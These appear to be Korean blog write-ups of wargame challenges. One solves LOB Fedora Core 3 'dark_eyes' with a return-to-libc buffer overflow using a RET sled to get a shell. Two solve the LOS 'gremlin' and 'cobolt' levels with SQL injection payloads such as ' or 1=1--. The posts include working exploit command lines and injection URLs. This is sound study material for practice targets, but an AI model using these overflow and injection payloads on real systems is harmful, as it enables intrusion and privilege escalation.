## LOB FC3 iron_golem문제
LOB FC3 두 번째 문제 iron_golem 문제를 보자.
환경은 이전 게시글 gate 문제와 동일하다. 문제 파일 iron_golem.c를 보면 아래와 같은 소스코드를 확인할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | [iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c /* The Lord of the BOF : The Fellowship of the BOF - dark_eyes - Local BOF on Fedora Core 3 - hint : RET sleding */ int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; if(argc < 2){ printf("argv error\n"); exit(0); } // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer); } | cs |
이전의 gate 문제와 비교해서 다른게 거의 없다. 다른 점은 20,26 line 밖에 없는데, 이 두줄이 추가됨으로써 이전 gate문제에서 Fake EBP를 이용하여 ascii armor를 우회할 수 있었던 방법을 사용할 수 없게 되었다.(20 line에서 sfp를 임시로 저장했다가 bof취약점 이후에 다시 sfp를 원래대로 복구시킴)
실제로 SFP부분이 덮어씌워지지 않고 이전의 값으로 복구되는지 아래 [그림 1]을 통해 확인해 보자.
[그림 1] BOF & sfp 복구
[그림 1]을 보면 실제로 버퍼에 264만큼의 쓰레기 값을 집어넣고 SFP부분에 "BBBB"로 집어넣은 후 ret부분은 "\x41\x41\x41\x41"로 덮어씌웠지만 최종적으로 leave명령어에서 bp를 걸었을 때의 스택상황을 찍어보면 [그림 1]처럼 SFP가 "BBBB"가 아닌 0xfef8d898인 것을 확인할 수 있다.
따라서 gate에서 풀었던 방식(Fake EBP)를 이용하여 ascii armor를 우회할 수 없기 때문에 다른 방법을 찾아야 했다.
잘 생각해보면 ascii armor 보호기법 때문에 RTL 페이로드를 구성할 때 최종적으로 [~~~~~~ + execl()주소]로 구성해야한다. 이 때 execl()함수의 인자 값은 ebp 기준 ebp+0x8(1'st인자 : 실행할 파일 명)으로 참조하기 때문에 ebp를 조작할 수 없다면 페이로드는 어떻게 해서든 [~~~~~ + execl()주소 + execl()함수가끝나고 돌아갈 ret addr + 1'st 인자]의 형태가 되어야 한다.
이 때 중요한 점은 위 페이로드 구성에서 빨간색 부분은 우리가 컨트롤할 수 없는 부분이라는 것이다. 따라서 뒤의 부분의 메모리 주소와 값은 항상 바뀌지 않고 우리가 알 수 있는 값이어야 한다. 마침 [그림 1]의 0xfef8d850부분을 보면 0x83eff4라는 주소가 보이고 이 주소에 들어있는 값은 [그림 2]에서 확인할 수 있듯이 0x83ed3c이다.
[그림 2] 페이로드 구성 하기 전 스택 설명
이제 [그림 2]를 보면 우리가 덮어씌울 부분(페이로드)은 [buffer(264byte) + sfp(4byte) + ???(12byte) + execl_addr(4byte)] 과 같다.
간단하게 [그림 2]에 대해서 설명을 하자면 ???부분에 무언가 넣고 마지막으로 execl주소를 넣고나서 0x83eff4를 execl()의 첫 번째 인자로 사용하는 것이다.
그러면 ???에는 무엇을 넣어야 할지가 중요한데, ???부분에는 ret명령어가 있는 주소를 사용하면 된다. 그러면 계속 ret; ret; ret;를 하면서 스택에 4byte씩 이동하면서 ret를 실행하는데 결국 우리가 의도한 execl()까지 마치 NOP Sled처럼 쭉 가게 된다. 이런 방식을 RET Sleding 이라고 하며 실제로 execl()주소까지 가면 execl()이 실행되면서 첫 번째 인자를 참고하여 gate 문제에서 준비한 shell을 실행시키게 된다.(ln -s shell `python -c 'print "\x3c\xed\x83"'`)
참고로 gate문제에서 Fake EBP를 할 때에는 ret addr를 덮어쓸 때 execl()+3만큼의 주소를 덮어 썻는데 여기서는 execl()주소를 그대로 사용한다. 이유는 fake ebp는 이미 함수 프롤로그에서 할 스택 프레임 조정을 미리 ebp를 조작하면서 했기 때문에 프롤로그를 실행하면 ebp조작이 의미 없어지기 때문이며 이 문제에서는 ebp를 건들지 않으므로 기존의 RTL처럼 스택프레임을 새로 짜야하기 때문이다. 잘 이해가 가지 않는다면 직접 공책을 꺼내서 하나하나 그려보도록 하자..
자 그럼 이제 다 되었다. 위 페이로드를 기반으로 exploit 코드를 짜고 실행하면 아래와 같다.
1 2 3 4 5 6 7 | [iron_golem@Fedora_1stFloor ~]$ ln -s shell `python -c 'print "\x3c\xed\x83"'` [iron_golem@Fedora_1stFloor ~]$ ls <? dark_eyes dark_eyes.c shell shell.c [iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*264+"BBBB"+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???????? Segmentation fault [iron_golem@Fedora_1stFloor ~]$ | cs |
뭔가 제대로 안되는 것을 확인할 수 있다.
원인이 뭘까....?? gdb로 확인한 결과 ["A"*264 + "BBBB" + "\xb9\x84\x04\x08"*3]까지는 잘 덮어씌어지는데 마지막 가장 중요한 execl()함수의 주소인 "\x20\x57\x7a"가 안 덮어씌어지는 것을 확인할 수 있었다.
그래서 안 덮이는 이유는 "\x20"이 공백으로 인식(?)되어서 그런거 같았고, 이걸 피하기 위해 [그림 3]과 같이 execl() 바로 앞 주소를 확인했더니 nop코드로 덮여있어 execl()주소-0x1 로 덮어씌워도 문제가 없다는 것을 알았다.
[그림 3] "\x20" 우회
따라서 페이로드를 약간 수정하여 execl()주소를 "\x1f\x57\x7a"로 덮어씌웠더니 아래와 같이 exploit이 되었다.
1 2 3 4 5 6 7 8 | [iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*264+"BBBB"+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???????Wz sh-3.00$ id uid=502(dark_eyes) gid=501(iron_golem) groups=501(iron_golem) context=user_u:system_r:unconfined_t sh-3.00$ my-pass euid = 502 because of you sh-3.00$ | cs |
## 정리1 : RET Sleding을 이용하여 ascii armor를 우회해 RTL로 exploit할 수 있다.
## 정리2 : "\x20"은 공백으로 인식되어 스택에 값이 안 박힌다. 이전 명령어가 nop이나 특별한 명령어가 아닐 경우 주소를 좀 당긴다.
## 잘못된 점은 댓글이나 메일(holinder4s@gmail.com)으로 알려주시면 감사하겠습니다.. 뉴비라 잘 모릅니다.
'Wargame > LOB(FC3)' 카테고리의 다른 글
## LOB FC3 gate->iron_golem(Fake EBP + RTL) (2) | 2016.09.07 |
---|
## LOS level1 cobolt(주석)
2번째 문제를 보자.
아래와 같은 소스코드를 볼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php include "../config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> | cs |
소스코드를 보면 위 쿼리문을 통한 결과 값의 id컬럼이 admin이어야 한다.
우선 쿼리문을 보면 우리가 입력 가능한 파라미터는 id, pw부분이다. id 부분에 1번 문제와 비슷하게 쿼리를 날리는데 id값이 admin인 것의 결과를 뽑아와야 하므로 admin'%20or%201=1--%20 쿼리를 날리면 될거라고 생각했다. 그랬더니 아래 [그림 1]과 같은 결과가 나타났다.
[그림 1] 1차 시도
1차 시도는 실패였다.
이런 결과가 나타나는 이유는 where id='admin'이라는 조건문이 있지만 뒤의 or 1=1--때문에 그냥 참인 값만 반환을 하여 id가 admin인 것의 결과를 반환하는 것이 아니라 그냥 테이블에 들어간 순서대로 뽑아냈기 때문에 rubiya가 뽑힌 것이다.
따라서 추가로 id파라미터에 id=admin'%20or%201=1%20and%20id='admin'%20--%20을 넣어주면 id가 admin인 결과를 반환한다.
최종 페이로드는 http://los.sandbox.cash/chall/cobolt_c1c72102d0334847a38123e460f27f8c.php?id=admin%27%20or%201=1%20and%20id=%27admin%27--%20 와 같고 쿼리를 날리면 아래 [그림 2]와 같이 문제가 풀리는 것을 확인 할 수 있다.
[그림 2] Cobolt Clear!
=> 정리 : 그냥 admin'%20--%20으로 주석만 써도 된다.
'Wargame > LOS(level1)' 카테고리의 다른 글
[LOS] level1 gremlin(simple sql injection) (0) | 2016.09.07 |
---|
## LOS level1 gremlin(Simple SQLi)
LOS는 Lord of SQL injection의 약자로 Lord of Bufferoverflow를 모티브로 만들어진 webhacking을 다루는 워게임 사이트이다. 첫 번째 문제를 보자.
[그림 1] 문제(몹) 리스트
우선 첫 번째 문제의 이름은 gremlin이다. 몬스터를 클릭하면 소스코드가 나오는데 다음과 같다.
1 2 3 4 5 6 7 8 9 10 11 12 | <?php include "../config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?> | cs |
GET방식으로 id와 pw라는 파라미터를 받는데 주어진 쿼리문은 select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"이다. 문제를 풀기 위해서는 10번째 라인에서 $_result['id']에 값이 들어 있기만 하면 되므로 id파라미터로 '%20or%201=1--%20 정도의 쿼리문만 넣어도 위 쿼리문의 where절은 항상 참이게 되므로 테이블에 값이 있으면 가장 위의 컬럼을 반환한다.
이렇게 변환된 쿼리문을 구성해보면 아래와 같다.
"select id from prob_gremlin where id='' or 1=1-- ' and pw=''";
결과적으로 위 페이로드대로 구성하여 request를 날리면 아래 [그림 2]와 같이 문제가 풀리게 된다.
[그림 2] Gremlin Clear!
'Wargame > LOS(level1)' 카테고리의 다른 글
[LOS] level1 cobolt(주석) (0) | 2016.09.08 |
---|